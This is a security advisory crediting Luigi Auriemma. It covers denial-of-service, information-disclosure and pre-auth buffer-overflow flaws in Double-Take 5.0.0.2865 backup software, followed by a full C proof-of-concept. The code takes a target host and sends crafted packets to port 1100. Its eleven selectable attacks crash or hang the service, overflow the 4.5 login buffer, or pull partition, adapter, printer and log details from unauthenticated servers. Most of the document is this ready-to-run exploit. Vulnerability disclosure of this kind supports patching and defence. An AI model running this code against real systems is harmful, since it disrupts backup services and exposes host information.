|
|
|
|
| |
| Double-Take is "a disaster recovery and backup software distribuited also under other different names depending by the company which distribuites it like for example HP StorageWorks Storage Mirroring (where version 4.5.0.1629 is vulnerable to a pre-auth buffer overflow)". Multiple vulnerabilities have been discovered in Double-Take's product. |
| |
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/doubletakedown-adv.txt
|
| |
Vulnerable Systems:
* Double-Take version 5.0.0.2865
Server termination through "vector<T> too long" exception
The Double-Take service can be terminated through an exception raised when the size of a "vector<T>" value is bigger than how much supported. Exist different ways for exploiting this vulnerability anyway the main two arbitrary effects are the "vector<T> too long" exception or CPU at 100%.
NULL pointer crash
The server can be crashed through malformed packets (like 0x2722 and 0x272a) which cause the access to a NULL pointer.
Termination through memory allocation
An error with some packets allows to allocate a partially arbitrary amount of memory with the possibility to crash the process when no additional memory is available.
Informations disclosure
The server sends various types of informations to any unauthenticated user, for example the running operating system and the program's paths with packet 0x2728, the Ethernet adapters with packet 0x274e, all the partitions and their types of filesystem with packet 0x2726, the printer driver with 0x274f and the latest log entries using packet 0x2757.
Other exceptions
There exist also additional problems mainly exploitable through packet 0x2719 which cause respectively a "ospace/time/src\date.cpp" exception and the recursive calling of a function which fills the available stack and causes the silent termination of the service.
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/doubletakedown.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "show_dump.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
#define VER "0.1"
#define PORT 1100
#define BUFFSZ 8192
#define BOFSZ 4000
int putsh(u8 *dst, u8 *str);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u64 *ret, int bits);
int putxx(u8 *data, u64 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack;
u16 port = PORT;
u8 buff[BUFFSZ],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Double-Take <= 5.0.0.2865 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = \"vector<T> too long\" exception\n"
" 2 = CPU at 100%%\n"
" 3 = NULL pointer access\n"
" 4 = crash caused by unallocable memory\n"
" 5 = \"ospace/time/src\\date.cpp\" exception\n"
" 6 = recursive stack filling\n"
" 7 = Double-Take 4.5.0.x pre-auth buffer-overflow\n"
" 8 = info about partitions\n"
" 9 = info about network adapters\n"
" 10 = info about printer drivers\n"
" 11 = info about latest logs\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
p = buff;
p += putxx(p, 2, 16);
p += putxx(p, 1, 16);
if(attack == 1) {
printf("- \"vector<T> too long\" exception\n");
p += putxx(p, 0x2730, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 8, 16); // bad value
p += putxx(p, 0, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 7, 32);
p += putxx(p, 1, 32);
p += putsh(p, "encrypted_username");
p += putsh(p, "");
p += putsh(p, "encrypted_password");
p += putsh(p, "");
p += putsh(p, "encrypted_domain");
p += putsh(p, "");
p += putxx(p, 0, 64); // unused?
} else if(attack == 2) {
printf("- CPU at 100%%\n");
p += putxx(p, 0x2730, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, -1, 16); // bad value
p += putxx(p, 0, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 7, 32);
p += putxx(p, 1, 32);
p += putsh(p, "encrypted_username");
p += putsh(p, "");
p += putsh(p, "encrypted_password");
p += putsh(p, "");
p += putsh(p, "encrypted_domain");
p += putsh(p, "");
p += putxx(p, 0, 64); // unused?
} else if(attack == 3) {
printf("- NULL pointer access\n");
p += putxx(p, 0x2722, 16); // 0x2722 and 0x272a
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 64); // for 0x272a
} else if(attack == 4) {
printf("- crash caused by unallocable memory\n");
p += putxx(p, 0x2719, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 'a', 5000); // tries to allocate tons of stuff
} else if(attack == 5) {
printf("- \"ospace/time/src\\date.cpp\" exception\n");
p += putxx(p, 0x2719, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 0, 100);
} else if(attack == 6) {
printf("- recursive stack filling\n");
p += putxx(p, 0x2719, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 1, 1000);
} else if(attack == 7) {
printf("- Double-Take 4.5.0.x pre-auth buffer-overflow\n");
p += putxx(p, 0x2730, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 7, 32);
p += putxx(p, 1, 32);
p += putxx(p, BOFSZ, 16);
p += putcc(p, 'A', BOFSZ * 2); // username, yes I know that is required to encode a bit the unicode values (to avoid 0x41b141b1) but this is only for quickly showing an old bug
p += putsh(p, "");
p += putsh(p, "password");
p += putsh(p, "");
p += putsh(p, "domain");
p += putsh(p, "");
p += putxx(p, 0, 64); // unused?
} else {
switch(attack) {
case 8: p += putxx(p, 0x2726, 16); break;
case 9: p += putxx(p, 0x274e, 16); break;
case 10: p += putxx(p, 0x274f, 16); break;
case 11: p += putxx(p, 0x2757, 16); break;
default: {
printf("\nError: wrong attack number\n");
exit(1);
}
}
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 0, 8); // only for 0x274f
}
printf("- send packet\n");
send(sd, buff, p - buff, 0);
printf("- receive and visualize data:\n");
while(!timeout(sd, 3)) {
len = recv(sd, buff, BUFFSZ, 0);
if(len <= 0) break;
show_dump(buff, len, stdout);
}
close(sd);
printf("- done\n");
return(0);
}
int putsh(u8 *dst, u8 *str) {
int len;
u8 *p,
*s;
len = strlen(str);
p = dst;
p += putxx(p, len, 16); // yes I know it's not perfect for the 4.x version
for(s = str; len--; s++) {
*p++ = *s;
*p++ = 0;
}
return(p - dst);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int getxx(u8 *data, u64 *ret, int bits) {
u64 num;
int i,
bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u64 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
|
|
|
|
|
|
|